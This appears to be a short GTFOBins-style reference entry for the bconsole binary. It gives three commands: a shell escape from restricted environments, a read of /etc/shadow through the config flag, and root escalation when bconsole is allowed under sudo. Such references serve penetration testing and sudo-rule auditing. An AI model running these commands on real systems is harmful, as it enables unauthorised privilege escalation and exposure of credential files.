It can be used to break out from restricted environments by spawning an interactive system shell.
bconsole @exec /bin/sh
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
The file is actually parsed and the first wrong line is returned in an error message, thus it may not be suitable for reading arbitrary files.
bconsole -c /etc/shadow
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo bconsole @exec /bin/sh